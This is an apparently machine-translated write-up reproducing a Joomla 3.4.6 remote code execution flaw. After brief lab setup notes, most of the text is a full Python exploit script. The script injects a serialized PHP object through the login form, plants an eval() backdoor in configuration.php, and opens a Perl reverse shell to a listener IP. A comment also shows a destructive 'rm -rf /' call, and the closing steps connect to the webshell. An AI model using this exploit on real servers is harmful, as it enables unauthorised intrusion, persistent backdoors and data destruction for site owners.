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0x00.Joomla introduced
Joomla! Is a world-renowned content management systems. Joomla! Is using PHP language plus the MySQL database software system developed, the latest version is 3.9.11. It can be performed on a variety of different platforms Linux, Windows, MacOSX and so on. Currently carried out by the Open Source Matter the open source development and support organization, the members of this organization from all over the world, members of the group of about 150 people, including developers, designers, system administrators, document writers, and more than 2 the participation of ten thousand members.
Since 2012, the awards ceremony began, Joomla CMS awards many years to become a champion. Following the 2015, 2016, 2017, 2018 CMS in the global evaluation, it won the "Best Open Source CMS" award again!
0x01 scope
3.0.0-3.4.6
0x02 environment to build
Joomla Download
https://downloads.joomla.org/it/cms/joomla3/3-4-6
Use phpstudy built in window, download the compressed package extract to the www directory phpstudy. Then enter http://127.0.0.1/Joomla installation. Then follow the prompts to configure. FIG:
After the configuration, the next step, waiting for installation.
0x03 reproducible vulnerability
- Use a script to verify: Show proof of loopholes Vulnerable
2. Script
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
backdoor_param = random_string(50)
def print_info(str):
print(colored("[*] " + str,"cyan"))
def print_ok(str):
print(colored("[+] "+ str,"green"))
def print_error(str):
print(colored("[-] "+ str,"red"))
def print_warning(str):
print(colored("[!!] " + str,"yellow"))
def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf
def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True
def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies
def gen_pay(function, command):
# Generate the payload for call_user_func('FUNCTION','COMMAND')
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
#payload = command + ' || $a=\'http://wtf\';'
payload = 'http://l4m3rz.l337/;' + command
# Following payload will append an eval() at the enabled of the configuration file
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def make_req(url , object_payload):
# just make a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf = get_token( url, cook)
user_payload = '\\0\\0\\0' * 9
padding = 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
password_payload = padding + inj_object
params = {
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf :'1'
}
print_info('Sending request ..')
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
return resp.text
def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request
function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# payload = command + ' || $a=\'http://wtf\';'
# Following payload will append an eval() at the enabled of the configuration file
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def check(url):
check_string = random_string(20)
target_url = url + 'index.php/component/users'
html = make_req(url, gen_pay('print_r',check_string))
if check_string in html:
return True
else:
return False
def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False
def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)
def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')
# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'
make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target',required=True,help='Joomla Target')
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
args = vars(parser.parse_args())
url = args['target']
if(check(url)):
print_ok('Vulnerable')
if args['exploit']:
exploit(url, args['lhost'], args['lport'])
else:
print_info('Use --exploit to exploit it')
else:
print_error('Seems NOT Vulnerable ;/')
3. exploits
written in configuration.php sentence Trojans, nfewspvdwsxjjiioynptjdqdcpirdjljqbfgufhaaukotihzeo the password
to view configuration.php, write a sentence at the end of the Trojan file
Use chopper, connecting to http://127.0.0.1/Joomla//configuration.php
0x04 reference
https://github.com/momika233/Joomla-3.4.6-RCE
https://www.anquanke.com/vul / id / 1771843